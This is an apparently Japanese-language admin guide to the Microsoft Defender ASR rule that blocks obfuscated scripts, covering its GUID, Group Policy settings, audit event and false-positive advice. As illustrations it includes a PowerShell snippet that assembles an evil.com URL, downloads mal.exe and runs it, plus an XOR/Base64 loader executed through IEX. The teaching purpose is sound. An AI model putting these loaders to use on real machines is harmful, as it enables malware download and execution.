MENU

ASR Rule 難読化される可能性のあるスクリプトの実行をブロックする

難読化される可能性のあるスクリプトの実行をブロックする

  • 悪意あるプログラムの実行対策
  • GUID: 5beb7efe-fd9a-4556-801d-275e5ffc04cc
  • 推奨設定値:2: 監査 → 1: ブロック (攻撃面の縮小ルールを有効にする)
  • 有効化には [ Microsoft Defender ウイルス対策でクラウド保護を有効にする ] が必須

PowerShell / JScript / VBScript / WSH などで、以下のような “難読化(obfuscation)された可能性がある” スクリプトの実行をブロックします。

# http://evil.com/mal.exe をダウンロードし、実行する
$h = "ht" + "tp" + ":" + "//" + "evil" + ".com"
$f = "ma" + "l" + ".exe"
$wc = New-Object Net.WebClient
$wc.DownloadFile($h + "/" + $f, $f)
Start-Process $f
# Write-Host "Hello from decrypted payload!" の難読化例

# XOR キー
$key = 0x42

# 暗号化されたペイロード(Base64)
$enc = "Gw0YTx4OGxAeFQMfHQ8dHBxYFR0BHx0aEwcZEhANExQUABYB" 

# Base64 をバイト列に
$bytes = [System.Convert]::FromBase64String($enc)

# XOR 復号
$dec = for ($i=0; $i -lt $bytes.Length; $i++) {
    $bytes[$i] -bxor $key
}

# UTF8 文字列へ
$script = [System.Text.Encoding]::UTF8.GetString($dec)

# これが実行 —— 攻撃者はここで IEX を使ってペイロードを起動する
IEX $script

以下のケースをブロックします。

  • PowerShell を用いたファイルレス攻撃
    メール添付 Word マクロ → PowerShell → Base64 encoded payload
  • HTML Smuggling → JS → PowerShell
    HTML 内の JavaScript による PowerShell Base64 loader、C2 通信
  • WMI + PowerShell の多段攻撃
    WMI から難読化 PS を実行、LOLBAS(Regsvr32, MSHTA, rundll32)経由の JS/VBS loader

設定

  • グループポリシー
    • [ コンピューターの構成 ]>[ ポリシー ]>[ 管理用テンプレート ]>[ Windows コンポーネント ]>[ Microsoft Defender ウイルス対策 ]>[ Microsoft Defender Exploit Guard ]>[ Attack Surface Reduction ]>[ Attack Surface Reduction 規則の構成 ]:[ 有効 ]
      • [ 各 ASR 規則の状態を設定します。]:[ 表示 ] をクリックする。
        • [ 値の名前 ]:5beb7efe-fd9a-4556-801d-275e5ffc04cc
        • [ 値 ]:(導入当初は 2:監査で運用する)
          • 0: 無効にする (攻撃面の縮小ルールを無効にする)
          • 1: ブロック (攻撃面の縮小ルールを有効にする)
          • 2: 監査 (攻撃面の縮小ルールが有効な場合にorganizationに与える影響を評価する)
          • 6: 警告 (攻撃面の縮小ルールを有効にするが、エンド ユーザーがブロックをバイパスできるようにする)

監査ログ

Defender Operational ログ:

Event ID 1121 (ASR blocked an executable file downloaded from email or webmail)

運用上の注意点

一般的にスクリプトを難読化する理由はなく、攻撃のために使用されると考えるべきであり、一定期間、監査モードで運用し、その後、有効にすることを推奨します。
このルールは、ウイルス対策ソフトが検知しにくいファイルレス攻撃に極めて有効ですが、正規の PowerShell スクリプトが “長い base64 文字列” を扱う、PKIや公開鍵、JSON などを含む場合に誤検知の可能性が高まります。導入当初は2~4週間程度は Audit(監査)モード(値:2)で運用し、誤検知は除外リストに登録します。

よかったらシェアしてね!
  • URLをコピーしました!
  • URLをコピーしました!

この記事を書いた人

目次